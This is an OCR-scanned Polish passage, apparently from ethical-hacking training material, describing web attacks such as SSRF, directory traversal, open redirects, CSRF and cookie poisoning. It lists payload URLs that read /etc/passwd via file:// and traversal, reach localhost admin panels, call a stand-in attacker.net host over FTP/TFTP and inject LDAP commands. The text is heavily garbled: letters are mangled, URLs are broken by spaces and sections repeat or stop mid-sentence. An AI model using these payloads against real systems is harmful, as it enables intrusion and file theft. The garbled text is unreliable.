(SSRF), ktére wynikajg z niebezpiecznego korzystania z funkcji aplikacji na publicznych serwerach
internetowych w celu wysytania spreparowanych zgadan do serweréw wewnetrznych lub zaplecza.
Serwery wewnetrzne zwykle wykorzystujg zapory ogniowe, aby zapobiega¢ naptywowi niepozgadanego
ruchu do sieci. Dlatego osoby atakujgce wykorzystujg luki SSRF w serwerach sieciowych z dostepem do
Internetu, aby uzyskaé dostep do serwerdw zaplecza chronionych przez zapore ogniowg, sie¢ VPN lub
listy kontroli dostepu (ACL). Serwer zaplecza uwaza, ze zgdanie jest wysytane przez serwer WWW,
poniewaz te serwery znajdujg sie w tej samej sieci; w konsekwencji serwer zaplecza odpowiada
przechowywanymi na nim danymi. Luki SSRF ewoluujg w nastepujacy sposdb. Ogdlnie rzecz biorac,
zadania po stronie serwera sg inicjowane w celu uzyskania informacji z zewnetrznego zasobu i
przekazania ich do aplikacji. Na przyktad projektant moze wykorzysta¢ adres URL, taki jak
https://xyz.com/feed.php7urhexternalsite.com/feed/to, aby uzyskaé zdalny kanat informacyjny. Jesli
osoby atakujgce mogg zmienié adres URL wprowadzony do hosta lokalnego, mogg wyswietli¢ wszystkie
zasoby lokalne na serwerze. Gdy atak sie powiedzie, atakujacy mogg wykonaé rézne czynnosci, takie
jak skanowanie portéw, skanowanie sieci, wykrywanie adreséw IP, odczytywanie plikéw serwera
WWW, omijanie uwierzytelniania opartego na hoscie, interakcja z krytycznymi protokotami i zdalne
wykonywanie kodu.

Rodzaje atakéw SSRF
Wstrzykniecie tadunku SSRF

Ten atak polega na wybraniu parametru i wstawieniu fadunku SSRF, ktéry moze obstugiwac plik lub
adres URL. Umozliwia atakujgcym dokonanie pewnych modyfikacji pola nagtéwka i zmiane go na
zwykty tekst. Nowy fadunek jest nastepnie wstawiany do parametru zamiast pliku.

o Uzyskanie dostepu do zasobéw wewnetrznych

o Atakujagcy mogg uzyska¢ dostep do zasobow wewnetrznych poprzez panel /admin z sieci
wewnetrznej. Umozliwia im to dostep do plikdw z serwera za posrednictwem schematu
file://path/to/file.

o Uzyskanie dostepu do stron wewnetrznych

Atakujgcy mogg wykorzystac nastepujgce exploity, aby uzyskac dostep do stron wewnetrznych:
e https://www.certifiedhacker.com/page?url=http://127.0. 0.1/admin

¢ https: //www.certifiedhacker.com/page?url=http: //127.0 .0.1/pgadmin

e https://www.certifiedhacker . com/page?url=http: //127.0 .0.1/dowolna_interesujgca_strona

e https://www.certifiedhacker . com/page?url=http: //127.0 .0.1/phpmyadmin



o Korzystanie ze schematu adreséw URL w celu uzyskania dostepu do plikéw wewnetrznych

Atakujacy moga uzyskac dostep do plikdw, wykorzystujgc schemat adresu URL serwera. Pomaga to
firmie tchem w dalszym atakowaniu jej ustug wewnetrznych. Atakujgcy moga wykorzystaé nastepujgce
exploity w celu uzyskania dostepu do plikéw wewnetrznych:

e https: //www.certifiedhacker.com/page?url=file: //etc/passwd

e https://www.certifiedhacker . com/page?url=file: / /\ / \ /etc/passwd

e https://www.certifiedhacker . com/page?url=file: / / /etc/passwd

e https://www.certifiedhacker . com/page?url=file: //$ciezka/ do/ pliku

o Korzystanie ze schematu adreséow URL w celu uzyskania dostepu do ustug wewnetrznych

Osoby atakujgce mogq faczy¢ sie z réznymi ustugami wewnetrznymi za pomocg schematu adreséw
URL. Oto niektore z exploitow, ktére mozna wykorzysta¢ w tym celu.

Dla FTP

e https://www.certifiedhacker . com/page?url=ftp: //attacker.net:11211/

e https://www.certifiedhacker . com/page?url=sftp: //atakujgcy .net:11111/

e https://www.certifiedhacker . com/page?url=tftp: //atakujgcy.net:123456/TESTUDP
Wykorzystywanie LDAP

e https://www.certifiedhacker . com/page?url=ldap: //127.0 .0.l/ %0astats%0aquit

e https: //www.certifiedhacker.com/page?url=Idap: //localhost:11211/%0astats%0aqnit
Atak na port miedzy witrynami (XSPA)

Ten typ ataku SSRF umozliwia atakujgcym skanowanie w poszukiwaniu otwartych portéw serwera.
Atakujacy uzywajg interfejsu petli zwrotnej tego serwera, takiego jak localhost lub 127.0.0.1.

Co wiecej, osoby atakujgce mogg uzywaé przeskanowanych portéw, takich jak port 21, 22 i 25, wraz z
interfejsem sprzezenia zwrotnego.

Oto kilka przyktaddow:
https://www.certifiedhacker.com/page?url=http://localhost:22/
https://www.certifiedhacker.com/page?url=http://127.0.0.1:25/
https://www.certifiedhacker.com/page?url=http://127.0.0.1:3389/
Inne zagrozenia aplikacji internetowych

Zagrozenia aplikacji internetowych nie ograniczajg sie do atakdw opartych na adresach URL i porcie
80. Pomimo korzystania z portéw, protokotéw i warstw OSI, dostawcy muszg chroni¢ integralnos¢
aplikacji o znaczeniu krytycznym przed mozliwymi przysztymi atakami, bedgc w stanie poradzi¢ sobie
ze wszystkimi metodami ataku. Rdzne rodzaje zagrozen aplikacji internetowych sg nastepujace:

Przechodzenie przez katalogi



Atakujacy wykorzystujg protokét HTTP, przemierzajgc katalogi, co daje im dostep do zastrzezonych
katalogéw; wykonujg polecenia poza katalogiem gtéwnym serwera WWW.

Niezweryfikowane przekierowania i przekierowania

Atakujacy naktaniajg ofiary do klikania niezweryfikowanych linkéw, ktére wydajg sie byc¢ legalne. Takie
przekierowania mogg prébowac zainstalowac ztodliwe oprogramowanie lub naktoni¢ ofiary do
ujawnienia haset lub innych poufnych informacji. Niebezpieczne przekierowania mogg umozliwic
obejscie kontroli dostepu, prowadzac do

Atak fiksacji sesji

Exploity zarzgdzania bezpieczenstwem

Nie udato sie ograniczy¢ dostepu do adresu URL
Ztosliwe wykonanie pliku

Atak na wodopoje

Jest to rodzaj niezweryfikowanego ataku przekierowania, w ktérym atakujacy najpierw identyfikuje
najczesciej odwiedzang witryne celu, okresla luki w witrynie, wstrzykuje ztosliwy kod do podatnej
aplikacji internetowej, a nastepnie czeka, az ofiara przeglada witryne. Gdy ofiara prébuje uzyskaé
dostep do witryny, ztosliwy kod jest wykonywany, infekujac ofiare.

Fatszowanie zadan miedzy witrynami

Metoda cross-site request forgery to rodzaj ataku, w ktérym uwierzytelniony uzytkownik jest zmuszany
do wykonania okreslonych zadan w aplikacji internetowej, ktére wybiera atakujgcy, np. klikniecie przez
uzytkownika konkretnego tacza wystanego w wiadomosci e-mail lub na czacie.

Zatrucie ciasteczkiem/sesja

Zmieniajgc informacje w pliku cookie, osoby atakujgce omijajg proces uwierzytelniania. Po uzyskaniu
kontroli nad siecig mogg modyfikowac jej zawartos¢, wykorzystywac system do ztosliwych atakéw lub
kras¢ informacje z systemow uzytkownikéw.

Ataki na ustugi internetowe

Osoba atakujgca moze dostaé sie do docelowej aplikacji internetowej, wykorzystujgc aplikacje
zintegrowang z podatnymi na ataki ustugami internetowymi. Osoba atakujgca wstrzykuje ztosliwy
skrypt do ustugi internetowej, a nastepnie moze ujawni¢ i zmodyfikowa¢ dane aplikacji.

Sledzenie plikéw cookie

Atakujgcy wykorzystujg pliki cookie do szpiegowania systemoéw ofiar, aby analizowaé nawyki
uzytkownikéw zwigzane z surfowaniem i sprzedawac¢ te informacje innym atakujgcym Ilub
przeprowadzac rdzne ataki na aplikacje internetowe ofiar.

Manipulacja ukrytym polem

Atakujacy probujgcy ztamac zabezpieczenia witryn handlu elektronicznego najczesciej przeprowadzajg
takie ataki. Manipulujg ukrytymi polami i zmieniajg przechowywane w nich dane. Z takimi problemami
codziennie boryka sie kilka sklepéw internetowych. Atakujgcy mogg zmieniaé ceny i zawierac
transakcje, wyznaczajac wybrane przez siebie ceny.



Aplikacja zaciemniajaca

Atakujacy zazwyczaj starajg sie ukry¢ swoje ataki i unikng¢ wykrycia. Sieciowe i oparte na hoscie
systemy wykrywania wtaman (IDS) nieustannie wyszukujg oznaki dobrze znanych atakéw, zmuszajac
atakujgcych do szukania réznych sposobdéw pozostania niewykrytym. Najpopularniejsza metoda
zaciemniania ataku polega na kodowaniu czesci ataku za pomocg kodowania Unicode, UTF-8, Base64
lub kodowania URL. Unicode to metoda przedstawiania liter, cyfr i znakédw specjalnych w celu ich
prawidtowego wyswietlania, niezaleznie od aplikacji lub platformy.

Odmowa ustugi (DoS)

Atak DoS to atak na dostepnosé ustugi, ktory zmniejsza, ogranicza lub uniemozliwia dostep do zasobdéw
systemowych przez uprawnionych uzytkownikéw. Na przyktad strona internetowa zwigzana z ustuga
bankowg lub pocztg elektroniczng moze nie dziata¢ przez kilka godzin lub nawet dni, co powoduje
strate czasu i pieniedzy.

Przepetnienie bufora

Luka w zabezpieczeniach aplikacji internetowe] zwigzana z przepetnieniem bufora wystepuje, gdy
aplikacja internetowa nie chroni prawidtowo swojego bufora i umozliwia zapis przekraczajacy jego
maksymalny rozmiar.

Ataki CAPTCHA

CAPTCHA to test typu wyzwanie-odpowiedz realizowany przez aplikacje internetowe w celu
sprawdzenia, czy odpowiedz jest generowana przez komputer. Chociaz CAPTCHA s3 zaprojektowane
tak, aby byly niezniszczalne, sg podatne na rézne rodzaje atakow.

Exploity platformy

Uzytkownicy mogg tworzyé rézne aplikacje internetowe przy uzyciu réznych platform, takich jak BEA
WebLlogic i Cold Fusion. Z kazdg platforma zwigzane sg rézne luki w zabezpieczeniach i exploity.

Ataki na dostep do sieci

Ataki na dostep do sieci mogg w duzym stopniu wptyngé¢ na aplikacje internetowe, w tym na
podstawowy poziom ustug. Mogg rowniez zezwala¢ na poziomy dostepu, ktdrych nie mogga przyznac
standardowe metody aplikacji HTTP.

Ataki na protokét DMZ

Strefa zdemilitaryzowana (DMZ) to czesciowo zaufana strefa sieci, ktéra oddziela niezaufany Internet
od zaufanej sieci wewnetrznej firmy. Osoba atakujgca, ktédra moze skompromitowac system, ktory
zezwala na inne protokoty strefy DMZ, ma dostep do innych stref DMZ i systemdéw wewnetrznych. Ten
poziom dostepu moze prowadzi¢ do

o Kompromitacja aplikacji internetowej i danych
o Niszczenie stron internetowych
o Dostep do systemdow wewnetrznych, w tym baz danych, kopii zapasowych i kodu zrédtowego

Internetowe ataki czasowe



Ataki oparte na synchronizacji oparte na sieci Web wykorzystujg przecieki kanatéw bocznych i szacujg
czas potrzebny na operacje na tajnych kluczach. Atakujacy przeprowadzajg te ataki w celu odzyskania
nazw uzytkownikéw i haset dostepu do aplikacji internetowych.

Atak MarioNetu

Atakujacy naduzywa interfejsu Service Workers APl do wstrzykiwania i uruchamiania ztosliwego kodu
w przegladarce ofiary w celu przeprowadzania réznych atakdéw, takich jak cryptojacking, DDoS,
oszustwa zwigzane z kliknieciami i rozproszone tamanie haset.

RC4 NOMORE Atak

Atak Rivest Cipher Monitoring and Recovery Exploit (RC4 NOMORE) to atak na szyfr strumieniowy RC4.
Atak ten wykorzystuje luki w zabezpieczeniach serwera WWW, ktéry uzywa algorytmu szyfrowania
RC4 do uzyskiwania dostepu do zaszyfrowanych poufnych informacji. Atakujacy uzywajg RC4 NOMORE
do odszyfrowania plikéw cookie sieci Web zabezpieczonych protokotem HTTPS i wstrzykniecia
dowolnych pakietéw. Po kradziezy waznego pliku cookie atakujgcy podszywa sie pod ofiare i loguje sie
do witryny przy uzyciu danych uwierzytelniajgcych ofiary w celu wykonywania ztosliwych dziatan i
nieautoryzowanych transakg;ji.

Atak typu clickjacking

W przypadku przechwytywania kliknie¢ atakujgcy taduje docelowg witryne internetowg w ramce
iframe o niskiej przezroczystosci. Nastepnie atakujgcy projektuje strone w taki sposéb, aby wszystkie
klikalne elementy, takie jak przyciski, byty ustawione doktadnie tak, jak na wybranej docelowej stronie
internetowe;j. Kiedy ofiara klika niewidoczne elementy, atakujgcy wykonuje rézne szkodliwe dziatania.

Przejecie JavaScriptu

Przejmowanie JavaScript, znane réwniez jako przechwytywanie JSON, to luka umozliwiajaca
atakujacym przechwytywanie poufnych informacji z systeméw wykorzystujgcych JavaScript Objects
(JSON) jako nosnik danych. Luki te wynikajg z btedéw w polityce tego samego pochodzenia przegladarki
internetowej, ktéra pozwala domenie na dodanie kodu z innej domeny.

Atak ponownego wigzania DNS

Atakujacy przeprowadzajg ataki polegajgce na ponownym powigzaniu DNS w celu obejscia ograniczen
bezpieczenstwa zasady tego samego pochodzenia i komunikowania sie z domenami lokalnymi lub
wysytania do nich dowolnych zgdan za posrednictwem ztosliwej strony internetowej.

Atak na te samg strone

Atak na te samg witryne ma miejsce, gdy osoba atakujgca hostuje ztosliwg witryne internetowg w
subdomenie legalnej aplikacji w celu naktonienia uzytkownikéw do przejscia do ztosliwej witryny
internetowej, z ktérej osoba atakujgca moze zbiera¢ poufne dane uzytkownikdw.

Atak typu pass-the-cookie

Atak pass-the-cookie umozliwia atakujagcym dostep do aplikacji internetowej bez podawania
poswiadczen uzytkownika. Atakujacy kradng pliki cookie z przegladarki docelowego uzytkownika i
umieszczajg je w swojej sesji, aby oming¢ uwierzytelnianie na docelowym serwerze.

Przechodzenie przez katalogi



Gdy dostep jest udzielany poza okreslong aplikacja, istnieje mozliwos¢ niezamierzonego ujawnienia lub
modyfikacji informacji. Ztozone aplikacje sg konfigurowane z wieloma katalogami, ktére istniejg jako
komponenty aplikacji i dane. Aplikacja moze przechodzié przez te katalogi, aby zlokalizowa¢ i wykonac
prawidtowe czesci aplikacji. Atak polegajgcy na przechodzeniu przez katalogi/wymuszone przegladanie
ma miejsce, gdy osoba atakujgca jest w stanie przegladac katalogi i pliki poza normalnym dostepem
aplikacji. Taki atak ujawnia strukture katalogéw aplikacji i czesto bazowy serwer WWW i system
operacyjny. Directory traversal umozliwia atakujgcym dostep do zastrzezonych katalogdw, w tym kodu
zrédtowego aplikacji, konfiguracji i krytycznych plikéw systemowych oraz wykonywanie polecen poza
gtéwnym katalogiem serwera WWW. Przy takim poziomie dostepu do architektury aplikacji
internetowych osoba atakujgca moze

Wylicza¢ zawartos¢ plikow i katalogow

Uzyska¢ dostep do stron, ktére w przeciwnym razie wymagajg uwierzytelnienia (i ewentualnie
ptatnosci)

Zdobyc¢ tajng wiedze na temat aplikacji i jej konstrukcji Odkrywaj identyfikatory uzytkownikéw i hasta
przechowywane w ukrytych plikach Odnajduj kod Zrédtowy i inne interesujgce pliki pozostawione na
serwerze Przegladaj wrazliwe dane, takie jak informacje o klientach

Przykfad:

W ponizszym przyktadzie zastosowano powrdt do kilku katalogéw i uzyskanie pliku zawierajgcego
kopie zapasowgq aplikacji internetowe;j:

http://www.targetsite.com/../../../sitebackup.zip

W tym przyktadzie pobierany jest plik ,,/etc/passwd” z systemu UNIX/Linux, ktéry zawiera informacje
o koncie uzytkownika:

http://www.targetsite.com/../../../../etc/passwd

Rozwazmy inny przyktad, w ktérym osoba atakujgca prébuje uzyskac dostep do plikéw znajdujacych
sie poza katalogiem publikowania w Internecie za pomoca przechodzenia miedzy katalogami:

http://www.certifiedhacker.com/process.aspx?page=../../../../jaki$ katalog/jakis$ plik
http://www.certifiedhacker.com/../../../../jakis katalog/jakis plik
Niezweryfikowane przekierowania i przekierowania

Niezweryfikowane przekierowania umozliwiajg atakujgcym instalowanie ztosliwego oprogramowania
lub nakfanianie ofiar do ujawnienia haset lub innych poufnych informacji, podczas gdy niebezpieczne
przekierowania mogg pozwoli¢ na ominiecie kontroli dostepu. Atakujgcy wysyta linki do
niezweryfikowanych przekierowan i zacheca ofiare do klikniecia w nie. Gdy ofiara kliknie link, myslac,
ze jest to prawidtowa strona, przekierowuje jg na inng strone. Takie przekierowania prowadzg do
instalacji ztosliwego oprogramowania, a nawet mogg nakfoni¢ ofiary do ujawnienia haset lub innych
poufnych informacji. Atakujacy bierze na cel niebezpieczne przekazywanie dalej, aby oming¢ kontrole
bezpieczenstwa. Niebezpieczne przekierowanie moze pozwoli¢ na obejscie kontroli dostepu,
prowadzgc do nastepujacych sytuacji:

Atak fiksacji sesji

W ataku polegajgcym na utrwalaniu sesji osoba atakujgca oszukuje lub zacheca uzytkownika do
uzyskania dostepu do legalnego serwera WWW przy uzyciu jawnej wartosci identyfikatora ses;ji.



Exploity zarzadzania bezpieczeistwem

Niektérzy atakujgcy atakujg systemy zarzadzania bezpieczenstwem, zaréwno w sieciach, jak iw
warstwie aplikacji, w celu zmodyfikowania lub wytgczenia egzekwowania zabezpieczen. Osoba
atakujgca, ktdra wykorzystuje zarzgdzanie zabezpieczeniami, moze bezposrednio modyfikowac zasady
ochrony, usuwad istniejgce zasady, dodawaé nowe zasady oraz modyfikowac aplikacje, dane
systemowe i zasoby.

Nie udato sie ograniczy¢ dostepu do adresu URL

Aplikacja czesto zabezpiecza lub chroni poufne funkcje i zapobiega wyswietlaniu linkdw lub adreséw
URL w celu ochrony. Atakujgcy uzyskujg bezposredni dostep do tych linkéw lub adreséw URL i
wykonujg nielegalne operacje.

Ztosliwe wykonanie pliku

W wiekszosci aplikacji wystepujg luki umozliwiajgce wykonanie ztosliwego pliku. Przyczyng tej luki sg
niesprawdzone dane wejsciowe do serwera WWW. W ten sposéb osoby atakujgce wykonujg i
przetwarzajg pliki na serwerze WWW oraz inicjujg zdalne wykonanie kodu, zdalnie instalujg rootkita i
— przynajmniej w niektorych przypadkach — przejmujg petng kontrole nad systemami. W scenariuszu
z ,niezweryfikowanym przekierowaniem” uzytkownik otrzymuje od osoby atakujgcej wiadomos¢ e-
mail z préba wytudzenia informacji, ktéra zacheca uzytkownika do klikniecia tgcza. Link (ztosliwe
zapytanie) wydaje sie by¢ uzasadniony, poniewaz na poczatku adresu URL zawiera nazwe legalnej
witryny internetowej, takiej jak www.certifiedhacker.com. Jednak ostatnia cze$¢ odsytacza zawiera
ztosliwy adres URL (www.evilserver.com), na ktdry przekierowuje ofiare. Gdy uzytkownik kliknie w link,
przekierowuje do witryny www.evilserver.com oraz serwer, na ktédrym znajduje sie witryna, moga
wykonywaé nielegalne dziatania, takie jak zbieranie danych uwierzytelniajgcych uzytkownika,
wdrazanie ztosliwego oprogramowania i tak dalej. ,Niepotwierdzone przekazywanie dalej” umozliwia
atakujagcym dostep do poufnych stron, ktérych przegladanie jest ogdlnie ograniczone. Podczas
niezweryfikowanego przekazywania atakujgcy zadajg strony z serwera z przekierowaniem (tj. poprzez
wprowadzenie facza z osadzonym zapytaniem do przodu)
http://www.certifiedhackershop.com/purchase.jsp?fwd=admin.jsp, ktére dociera do serwer
obstugujacy witryne certyfikowanego sklepu hakerskiego. Serwer, bez odpowiedniej weryfikacji,
przekierowuje atakujacego do wrazliwej strony administracyjnej, gdzie moze uzyskaé¢ dostep do
rekordéw zakupdw, zarejestrowanych uzytkownikéw i tak dalej. Dzieki tej technice osoba atakujgca
moze z powodzeniem omingé wszelkie kontrole bezpieczenstwa.

Rodzaje atakéw przekierowania
Otworz przekierowanie

Otwarte przekierowanie to luka w zabezpieczeniach, ktéra umozliwia atakujgcym dodanie witasnych
parametréw do adresu URL w celu przekierowania uzytkownikéw z zaufanych witryn do ztosliwych
witryn, w ktérych mogg wykras¢ poufne dane uzytkownika i przekierowac uzytkownikéw z powrotem
do oryginalnej witryny. Atakujgcy albo po prostu prébuje eskortowac uzytkownika do fatszywej witryny
internetowej w celu wprowadzenia danych logowania, albo przekierowuje uzytkownika do fatszywej
witryny internetowej, ktdra nasladuje legalng witryne internetowg za pomocg phishingu. Takie
przekierowania mogg prowadzi¢ do wachania danych uwierzytelniajgcych, wykonywania skryptéw
krzyzowych itp. Ataki te sg zwykle przeprowadzane przez wykorzystanie luk w zabezpieczeniach
legalnej witryny, dzieki ktérym osoby atakujgce mogg fatszowac adresy URL i wstrzykiwac ztosliwe
skrypty za pomoca JavaScript lub PHP.



Otwarte przekierowanie oparte na nagtéwkach

Jest to proces modyfikowania nagtdwka lokalizacji HTTP w celu przekierowania uzytkownikéw na
ztosliwg strone bez ich wiedzy. Obstuguje operacje, gdy JavaScript nie zinterpretuje nagtéwka.
Uzytkownicy powinni dokfadnie zweryfikowaé petny adres URL przed zazgdaniem zasobu.

Otwarte przekierowanie oparte na JavaScript

Jest to proces wstrzykiwania kodu JavaScript do odpowiedzi strony internetowej otrzymanej z
odpowiedniego serwera WWW. Ten rodzaj otwartych przekierowan jest najczesciej wykorzystywany
w oszustwach typu phishing, w przypadku ktérych uzytkownicy nie s3 $wiadomi, ze przechodzg do
ztosliwej witryny.

Atak wodopoju

W ataku typu ,watering hole” osoba atakujgca identyfikuje strony internetowe czesto przegladane
przez atakowang firme/osobe i testuje te strony w celu zidentyfikowania ewentualnych luk w
zabezpieczeniach. Gdy atakujgcy zidentyfikuje luki w zabezpieczeniach, wstrzykuje ztosliwy skrypt/kod
do aplikacji internetowej, ktéry moze przekierowa¢ strone internetowa i pobraé¢ ztosliwe
oprogramowanie na maszyne ofiary. Po zainfekowaniu podatnej aplikacji internetowej atakujgcy
czeka, az ofiara uzyska dostep do zainfekowanej aplikacji internetowej. Atak ten nazywany jest atakiem
na wodopoj, poniewaz atakujgcy czeka, az ofiara wpadnie w putapke, podobnie jak lew czeka, az ofiara
przybedzie do wodopoju, aby napi¢ sie wody. Gdy ofiara przeglada zainfekowang strone internetows,
strona internetowa przekierowuje j3 i pobiera ztosliwe oprogramowanie na jej/jej maszyne, zagrazajac
maszynie i faktycznie zagrazajac sieci/organizacji.

Atak z fatszerstwem zgdan miedzy witrynami (CSRF).

Fatszowanie zgdan miedzy witrynami (CSRF), znane réwniez jako atak jednym kliknieciem, ma miejsce,
gdy haker instruuje przegladarke internetowg uzytkownika, aby wystata zgdanie do podatnej witryny
za posrednictwem ztosliwej strony internetowej. Strony internetowe zwigzane z finansami czesto
zawierajg luki CSRF. Zazwyczaj osoby atakujace z zewngtrz nie majg dostepu do korporacyjnych
intranetéw; stad CSRF jest jedng z metod stosowanych do wejscia do tych sieci. Niezdolnos¢ aplikacji
internetowych do odrdznienia zgdania wystanego przy uzyciu ztosliwego kodu od prawdziwego zgdania
naraza je na atak CSRF. Takie ataki wykorzystujg luki w zabezpieczeniach stron internetowych, ktére
pozwalajg atakujgcym zmusié niczego niepodejrzewajgcych uzytkownikow do wysytania ztosliwych
zadan, ktérych nie zamierzali wysytaé. Ofiara uzytkownika utrzymuje aktywna sesje z zaufang witryng
i jednoczesnie odwiedza ztosliwg witryne, ktéra wstrzykuje zgdanie HTTP do zaufanej witryny do sesji
uzytkownika ofiary, naruszajac jej integralnos$é. W tym scenariuszu osoba atakujgca tworzy ztosliwy
skrypt i przechowuje go na ztosliwym serwerze internetowym. Gdy uzytkownik odwiedza witryne,
uruchamia sie ztosliwy skrypt, a atakujgcy uzyskuje dostep do przegladarki uzytkownika.

Jak dziataja ataki CSRF

W ataku CSRF osoba atakujgca czeka, az uzytkownik potfaczy sie z zaufanym serwerem, a nastepnie
naktania uzytkownika do klikniecia ztoSliwego tacza zawierajgcego dowolny kod. Gdy uzytkownik
kliknie w link, wykonuje dowolny kod na zaufanym serwerze. Ponizszy schemat wyjasnia kroki
zaangazowania w atak CSRF.

Zatrucie ciasteczkiem/sesja

Pliki cookie sg zwykle uzywane do utrzymywania sesji miedzy aplikacjami internetowymi a
uzytkownikami; w zwigzku z tym pliki cookie muszg czesto przesytaé poufne dane uwierzytelniajace.



Osoba atakujgca moze z tatwoscig modyfikowad informacje zawarte w plikach cookie, aby eskalowac
dostep lub przyjac tozsamosé innego uzytkownika. Zwykle celem sesji jest unikalne powigzanie kazdej
osoby z aplikacjg internetowa, do ktdrej uzyskuje dostep. Zatruwanie plikéw cookie i informacji o sesji
moze pozwoli¢ osobie atakujgcej na wstrzykniecie ztosliwej zawartosci lub zmodyfikowanie sposobu
korzystania z Internetu przez uzytkownika i uzyskanie nieautoryzowanych informacji. Pliki cookie moga
zawierac dane specyficzne dla sesji, takie jak identyfikatory uzytkownikéw, hasta, numery kont, tacza
do zawartosci koszyka, dostarczone informacje prywatne i identyfikatory sesji. Istniejg jako pliki
przechowywane w pamieci komputera klienckiego lub na dysku twardym. Serwer proxy moze by¢
uzywany do przepisywania danych sesji, wyswietlania danych plikéw cookie i/lub okreslania nowego
identyfikatora uzytkownika lub innych identyfikatoréw sesji w pliku cookie. Modyfikujgc dane w pliku
cookie, osoba atakujgca moze czesto zyskac na eskalacji aby uzyskaé dostep lub ztosliwie wptyngé na
sesje uzytkownika. Wiele witryn oferuje mozliwosc¢ , Pamietasz mnie?” i przechowywac informacje o
uzytkowniku w pliku cookie, dzieki czemu uzytkownik nie musi ponownie wprowadza¢ danych przy
kazdej wizycie na stronie. Wszelkie wprowadzone informacje prywatne sg przechowywane w pliku
cookie. Aby chronic pliki cookie, twdrcy witryn czesto je kodujg. tatwo odwracalne metody kodowania,
takie jak Base64 i ROT13 (obracanie liter alfabetu o 13 znakdéw), dajg fatszywe poczucie bezpieczenstwa
uzytkownikom przegladajgcym pliki cookie.

Grozby

Naruszone pliki cookie i sesje mogg dostarczyé atakujgcemu poswiadczenia uzytkownika, umozliwiajac
atakujgcemu dostep do kont i przyjecie tozsamosci innych uzytkownikéw aplikacji. Przyjmujac
tozsamos$é online innego uzytkownika, osoby atakujgce mogg przeglada¢ historie zakupdw
pierwotnego uzytkownika, zamawia¢ nowe produkty, wykorzystywaé¢ ustugi i uzyskiwa¢ dostep do
podatnej na ataki aplikacji internetowej. Jeden z najtatwiejszych przyktadéw polega na uzyciu pliku
cookie bezposrednio do uwierzytelnienia. Inna metoda zatruwania plikéw cookie/sesji wykorzystuje
serwer proxy do przepisania danych sesji, wyswietlenia danych plikéw cookie i/lub okreslenia nowego
identyfikatora uzytkownika lub innych identyfikatoréw sesji w pliku cookie. Istniejg cztery rodzaje
plikdw cookie: trwate, nietrwate, bezpieczne i niezabezpieczone. State pliki cookies sg przechowywane
na dysku, natomiast nietrwate — w pamieci. Aplikacje internetowe przesytfajg bezpieczne pliki cookie
tylko za posrednictwem potgczen SSL.

Jak dziata zatrucie ciasteczkami

Aplikacje internetowe uzywajg plikdw cookie do symulacji stanu przegladania przez uzytkownika, w
zalezno$ci od uzytkownika koncowego i tozsamosci komponentéw aplikacji internetowej po stronie
serwera. Zatruwanie plikéw cookie zmienia wartos¢ pliku cookie po stronie klienta przed wystaniem
zadania do serwera. Serwer WWW moze wysta¢ ustawiony plik cookie za pomocg dowolnej
odpowiedzi na podany cigg znakéw i polecenie. Pliki cookies zapisywane sg na komputerach
uzytkownikéw i sg standardowym sposobem rozpoznawania uzytkownikdw. Po ustawieniu serwera
WWW otrzymuje on wszystkie zgdania z plikdw cookie. Aby zapewni¢ dalszg funkcjonalnos¢ aplikacji,
pliki cookie obstugujg modyfikacje i analize za pomocg JavaScript. W tym ataku atakujgcy wyszukuje
pliki cookie uzytkownika, a nastepnie modyfikuje parametry plikdw cookie i przesyta je do serwera
WWW. Nastepnie serwer akceptuje zgdanie atakujgcego i przetwarza je.

Atak na serwis internetowy

Podobnie do sposobu, w jaki uzytkownik wchodzi w interakcje z aplikacjg internetowg za
posrednictwem przegladarki, ustuga internetowa moze wchodzi¢ w bezposrednia interakcje z aplikacja
internetowa bez potrzeby interaktywnej sesji uzytkownika lub przegladarki. Ewolucja i coraz czestsze
korzystanie z ustug internetowych w firmach oferuje nowe wektory atakdw w ramach aplikacji. Ustugi



sieciowe sg oparte na protokotach XML, takich jak Web Services Definition Language (WSDL) do
opisywania punktow potgczen, Universal Description, Discovery and Integration (UDDI) do opisu i
wykrywania ustug sieciowych oraz Simple Object Access Protocol (SOAP) do komunikacji miedzy
ustugami sieciowymi, ktére sg podatne na rdzne zagrozenia aplikacji sieciowych. Te ustugi internetowe
majg szczegétowe definicje, ktére pozwalaja zwyktym uzytkownikom i atakujagcym zrozumiec
konstrukcje ustug. W ten sposdb ustugi internetowe dostarczajg atakujagcemu wiele informacji
wymaganych do odcisku palca srodowiska w celu sformutowania ataku. Oto kilka przyktaddw tego typu
atakow:

1. Osoba atakujgca wstrzykuje ztodliwy skrypt do ustugi internetowej i moze ujawni¢ oraz
zmodyfikowac¢ dane aplikacji. 2. Atakujacy uzywa ustugi sieciowej do zamawiania produktéw i
wstrzykuje skrypt w celu zresetowania ilosci i stanu na stronie potwierdzenia do poziomu mniejszego
niz pierwotnie zamoéwione. W ten sposdb system przetwarzajacy zadanie zamodwienia przesytfa
zamoéwienie, wysyta zamédwienie, a nastepnie modyfikuje zamdwienie, aby pokaza¢, ze firma wysyta
mniejszg liczbe produktéw, ale atakujgcy ostatecznie otrzymuje wiecej produktu, niz zaptacit .

Atak typu footprinting ustugi sieciowej

Atakujgcy wykorzystujg Universal Business Registry (UBR) jako gtéwne zrédto gromadzenia informacji
o ustugach internetowych, poniewaz jest to bardzo przydatne zaréwno dla firm, jak i oséb prywatnych.
Jest to rejestr publiczny dziatajacy w oparciu o specyfikacje UDDI i SOAP. UBR jest nieco podobny do
,serwera Whois” pod wzgledem funkcjonalnosci. Aby zarejestrowac ustugi sieciowe na serwerze UDDI,
firmy lub organizacje zwykle uzywajg jednej z nastepujgcych struktur:

businessEntity: przechowuje szczegétowe informacje o firmie, takie jak nazwa firmy i dane
kontaktowe.

businessService: logiczna grupa jednej lub wielu ustug sieciowych. Kazda struktura businessService jest
podzbiorem businessEntity. Kazda ustuga biznesowa zawiera informacje techniczne i opisowe
dotyczace ustugi internetowej elementu businessEntity. bindingTemplate: reprezentuje pojedyncza
ustuge internetowa. Jest to podzbiér ustugi biznesowej i zawiera informacje techniczne wymagane
przez aplikacje kliencka do powigzania i interakcji z docelowg ustugg internetowa.

TechnicalModel (tModel): przybiera forme metadanych z kluczem i reprezentuje unikalne koncepcje
lub konstrukcje w UDDI.

Atakujacy moga sledzi¢ aplikacje internetowa, aby uzyska¢ dowolne lub wszystkie te informacje
struktury UDDI.

Zapytanie XML

POST /inquire HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: " "

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.4.2_04

Host: uddi.microsoft.com



Accept: text/html, image/gif, image/jpeg,*; 9=.2, /; 9=.2
Connection: keep-alive

Content-Length:213

